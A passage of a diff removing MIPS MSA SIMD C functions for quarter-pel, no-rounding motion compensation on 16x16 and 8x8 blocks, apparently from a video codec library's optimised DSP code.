-    LD_UB2(src, 1, inp0, inp1);
-    res = APPLY_HORIZ_QPEL_NO_ROUND_FILTER(inp0, inp1, mask,
-                                           const20, const6, const3);
-    res = __msa_ave_u_b(inp1, res);
-    ST_UB(res, dst);
-}
-
-static void hv_mc_qpel_no_rnd_aver_hv_src10_16x16_msa(const uint8_t *src,
-                                                      int32_t src_stride,
-                                                      uint8_t *dst,
-                                                      int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_no_rnd_horiz_src1_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_no_rnd_aver_src0_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_aver_hv_src10_8x8_msa(const uint8_t *src,
-                                                    int32_t src_stride,
-                                                    uint8_t *dst,
-                                                    int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    horiz0 = __msa_ave_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    horiz2 = __msa_ave_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    horiz4 = __msa_ave_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                                 horiz1, horiz2, horiz3, horiz4,
-                                                 horiz1, horiz0, horiz0, horiz1,
-                                                 horiz2, horiz3, horiz4, horiz5,
-                                                 const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz1, (v2i64) horiz0);
-    res0 = __msa_ave_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    horiz6 = __msa_ave_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE_1ROW(inp0, mask0, mask1,
-                                                       mask2, mask3, const20,
-                                                       const6, const3);
-    inp0 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) inp0, 1);
-    horiz8 = __msa_ave_u_b(inp0, res0);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                                 horiz3, horiz4, horiz5, horiz6,
-                                                 horiz3, horiz2, horiz1, horiz0,
-                                                 horiz4, horiz5, horiz6, horiz7,
-                                                 const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz3, (v2i64) horiz2);
-    res1 = __msa_ave_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                                 horiz5, horiz6, horiz7, horiz8,
-                                                 horiz5, horiz4, horiz3, horiz2,
-                                                 horiz6, horiz7, horiz8, horiz8,
-                                                 const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz5, (v2i64) horiz4);
-    res0 = __msa_ave_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                                 horiz7, horiz8, horiz8, horiz7,
-                                                 horiz7, horiz6, horiz5, horiz4,
-                                                 horiz8, horiz8, horiz7, horiz6,
-                                                 const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz7, (v2i64) horiz6);
-    res1 = __msa_ave_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_aver_h_src0_16x16_msa(const uint8_t *src,
-                                                    int32_t src_stride,
-                                                    uint8_t *dst,
-                                                    int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_no_rnd_horiz_src0_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_no_rnd_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_aver_h_src0_8x8_msa(const uint8_t *src,
-                                                  int32_t src_stride,
-                                                  uint8_t *dst,
-                                                  int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz0 = __msa_ave_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz2 = __msa_ave_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz4 = __msa_ave_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                                 horiz1, horiz2, horiz3, horiz4,
-                                                 horiz1, horiz0, horiz0, horiz1,
-                                                 horiz2, horiz3, horiz4, horiz5,
-                                                 const20, const6, const3);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz6 = __msa_ave_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE_1ROW(inp0, mask0, mask1,
-                                                       mask2, mask3, const20,
-                                                       const6, const3);
-    horiz8 = __msa_ave_u_b(inp0, res0);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                                 horiz3, horiz4, horiz5, horiz6,
-                                                 horiz3, horiz2, horiz1, horiz0,
-                                                 horiz4, horiz5, horiz6, horiz7,
-                                                 const20, const6, const3);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                                 horiz5, horiz6, horiz7, horiz8,
-                                                 horiz5, horiz4, horiz3, horiz2,
-                                                 horiz6, horiz7, horiz8, horiz8,
-                                                 const20, const6, const3);
-    ST_D4(res1, res0, 0, 1, 0, 1, dst, dst_stride);
-    dst += (4 * dst_stride);
-
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                                 horiz7, horiz8, horiz8, horiz7,
-                                                 horiz7, horiz6, horiz5, horiz4,
-                                                 horiz8, horiz8, horiz7, horiz6,
-                                                 const20, const6, const3);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_16x16_msa(const uint8_t *src,
-                                        int32_t src_stride,
-                                        uint8_t *dst,
-                                        int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_no_rnd_horiz_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_no_rnd_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_8x8_msa(const uint8_t *src,
-                                      int32_t src_stride,
-                                      uint8_t *dst,
-                                      int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                    mask2, mask3, const20,
-                                                    const6, const3);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz2 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                    mask2, mask3, const20,
-                                                    const6, const3);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz4 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                    mask2, mask3, const20,
-                                                    const6, const3);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                                 horiz1, horiz2, horiz3, horiz4,
-                                                 horiz1, horiz0, horiz0, horiz1,
-                                                 horiz2, horiz3, horiz4, horiz5,
-                                                 const20, const6, const3);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    horiz6 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                    mask2, mask3, const20,
-                                                    const6, const3);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    inp0 = LD_UB(src);
-    horiz8 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE_1ROW(inp0, mask0, mask1,
-                                                         mask2, mask3, const20,
-                                                         const6, const3);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                                 horiz3, horiz4, horiz5, horiz6,
-                                                 horiz3, horiz2, horiz1, horiz0,
-                                                 horiz4, horiz5, horiz6, horiz7,
-                                                 const20, const6, const3);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                                 horiz5, horiz6, horiz7, horiz8,
-                                                 horiz5, horiz4, horiz3, horiz2,
-                                                 horiz6, horiz7, horiz8, horiz8,
-                                                 const20, const6, const3);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                                 horiz7, horiz8, horiz8, horiz7,
-                                                 horiz7, horiz6, horiz5, horiz4,
-                                                 horiz8, horiz8, horiz7, horiz6,
-                                                 const20, const6, const3);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_aver_h_src1_16x16_msa(const uint8_t *src,
-                                                    int32_t src_stride,
-                                                    uint8_t *dst,
-                                                    int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_no_rnd_horiz_src1_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_no_rnd_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_aver_h_src1_8x8_msa(const uint8_t *src,
-                                                  int32_t src_stride,
-                                                  uint8_t *dst,
-                                                  int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    horiz0 = __msa_ave_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    horiz2 = __msa_ave_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    SLDI_B2_UB(inp0, inp0, inp1, inp1, 1, inp0, inp1);
-
-    inp0 = (v16u8) __msa_insve_d((v2i64) inp0, 1, (v2i64) inp1);
-    horiz4 = __msa_ave_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                                 horiz1, horiz2, horiz3, horiz4,
-                                                 horiz1, horiz0, horiz0, horiz1,
-                                                 horiz2, horiz3, horiz4, horiz5,
-                                                 const20, const6, const3);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    SLDI_B2_UB(inp2, inp2, inp3, inp3, 1, inp2, inp3);
-
-    inp2 = (v16u8) __msa_insve_d((v2i64) inp2, 1, (v2i64) inp3);
-    horiz6 = __msa_ave_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE_1ROW(inp0, mask0, mask1,
-                                                       mask2, mask3, const20,
-                                                       const6, const3);
-    inp0 = (v16u8) __msa_sldi_b((v16i8) inp0, (v16i8) inp0, 1);
-    horiz8 = __msa_ave_u_b(inp0, res0);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                                 horiz3, horiz4, horiz5, horiz6,
-                                                 horiz3, horiz2, horiz1, horiz0,
-                                                 horiz4, horiz5, horiz6, horiz7,
-                                                 const20, const6, const3);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                                 horiz5, horiz6, horiz7, horiz8,
-                                                 horiz5, horiz4, horiz3, horiz2,
-                                                 horiz6, horiz7, horiz8, horiz8,
-                                                 const20, const6, const3);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                                 horiz7, horiz8, horiz8, horiz7,
-                                                 horiz7, horiz6, horiz5, horiz4,
-                                                 horiz8, horiz8, horiz7, horiz6,
-                                                 const20, const6, const3);
-    ST_D4(res0, res1, 0, 1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_aver_hv_src01_16x16_msa(const uint8_t *src,
-                                                      int32_t src_stride,
-                                                      uint8_t *dst,
-                                                      int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_no_rnd_horiz_src0_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_no_rnd_aver_src1_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_aver_hv_src01_8x8_msa(const uint8_t *src,
-                                                    int32_t src_stride,
-                                                    uint8_t *dst,
-                                                    int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz0 = __msa_ave_u_b(inp0, res0);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz2 = __msa_ave_u_b(inp2, res1);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    inp0 = (v16u8) __msa_ilvr_d((v2i64) inp1, (v2i64) inp0);
-    horiz4 = __msa_ave_u_b(inp0, res0);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                                 horiz1, horiz2, horiz3, horiz4,
-                                                 horiz1, horiz0, horiz0, horiz1,
-                                                 horiz2, horiz3, horiz4, horiz5,
-                                                 const20, const6, const3);
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz2, (v2i64) horiz1);
-    res0 = __msa_ave_u_b(avg0, res0);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += (2 * dst_stride);
-
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    res1 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                  mask2, mask3, const20,
-                                                  const6, const3);
-    inp2 = (v16u8) __msa_ilvr_d((v2i64) inp3, (v2i64) inp2);
-    horiz6 = __msa_ave_u_b(inp2, res1);
-    horiz7 = (v16u8) __msa_splati_d((v2i64) horiz6, 1);
-    inp0 = LD_UB(src);
-    res0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE_1ROW(inp0, mask0, mask1,
-                                                       mask2, mask3, const20,
-                                                       const6, const3);
-    horiz8 = __msa_ave_u_b(inp0, res0);
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz2, horiz1, horiz0, horiz0,
-                                                 horiz3, horiz4, horiz5, horiz6,
-                                                 horiz3, horiz2, horiz1, horiz0,
-                                                 horiz4, horiz5, horiz6, horiz7,
-                                                 const20, const6, const3);
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz4, (v2i64) horiz3);
-    res1 = __msa_ave_u_b(avg1, res1);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz4, horiz3, horiz2, horiz1,
-                                                 horiz5, horiz6, horiz7, horiz8,
-                                                 horiz5, horiz4, horiz3, horiz2,
-                                                 horiz6, horiz7, horiz8, horiz8,
-                                                 const20, const6, const3);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    avg0 = (v16u8) __msa_ilvr_d((v2i64) horiz6, (v2i64) horiz5);
-    res0 = __msa_ave_u_b(avg0, res0);
-
-    res1 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz6, horiz5, horiz4, horiz3,
-                                                 horiz7, horiz8, horiz8, horiz7,
-                                                 horiz7, horiz6, horiz5, horiz4,
-                                                 horiz8, horiz8, horiz7, horiz6,
-                                                 const20, const6, const3);
-    ST_D2(res0, 0, 1, dst, dst_stride);
-    dst += 2 * dst_stride;
-
-    avg1 = (v16u8) __msa_ilvr_d((v2i64) horiz8, (v2i64) horiz7);
-    res1 = __msa_ave_u_b(avg1, res1);
-    ST_D2(res1, 0, 1, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_aver_v_src1_16x16_msa(const uint8_t *src,
-                                                    int32_t src_stride,
-                                                    uint8_t *dst,
-                                                    int32_t dst_stride)
-{
-    uint8_t buff[272];
-
-    hv_mc_qpel_no_rnd_horiz_16x16_msa(src, src_stride, buff, 16, 16);
-    vert_mc_qpel_no_rnd_aver_src1_16x16_msa(buff, 16, dst, dst_stride);
-}
-
-static void hv_mc_qpel_no_rnd_aver_v_src1_8x8_msa(const uint8_t *src,
-                                                  int32_t src_stride,
-                                                  uint8_t *dst,
-                                                  int32_t dst_stride)
-{
-    v16u8 inp0, inp1, inp2, inp3;
-    v16u8 res0, res1, avg0, avg1;
-    v16u8 horiz0, horiz1, horiz2, horiz3;
-    v16u8 horiz4, horiz5, horiz6, horiz7, horiz8;
-    v16u8 mask0 = { 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8 };
-    v16u8 mask1 = { 0, 2, 0, 3, 1, 4, 2, 5, 3, 6, 4, 7, 5, 8, 6, 8 };
-    v16u8 mask2 = { 1, 3, 0, 4, 0, 5, 1, 6, 2, 7, 3, 8, 4, 8, 5, 7 };
-    v16u8 mask3 = { 2, 4, 1, 5, 0, 6, 0, 7, 1, 8, 2, 8, 3, 7, 4, 6 };
-    v16u8 const20 = (v16u8) __msa_ldi_b(20);
-    v16u8 const6 = (v16u8) __msa_ldi_b(6);
-    v16u8 const3 = (v16u8) __msa_ldi_b(3);
-
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz0 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                    mask2, mask3, const20,
-                                                    const6, const3);
-    horiz1 = (v16u8) __msa_splati_d((v2i64) horiz0, 1);
-    LD_UB2(src, src_stride, inp2, inp3);
-    src += (2 * src_stride);
-    horiz2 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp2, inp3, mask0, mask1,
-                                                    mask2, mask3, const20,
-                                                    const6, const3);
-    horiz3 = (v16u8) __msa_splati_d((v2i64) horiz2, 1);
-    LD_UB2(src, src_stride, inp0, inp1);
-    src += (2 * src_stride);
-    horiz4 = APPLY_HORIZ_QPEL_NO_ROUND_FILTER_8BYTE(inp0, inp1, mask0, mask1,
-                                                    mask2, mask3, const20,
-                                                    const6, const3);
-    horiz5 = (v16u8) __msa_splati_d((v2i64) horiz4, 1);
-    res0 = APPLY_VERT_QPEL_NO_ROUND_FILTER_8BYTE(horiz0, horiz0, horiz1, horiz2,
-                                                 horiz1, horiz2, horiz3, horiz4,
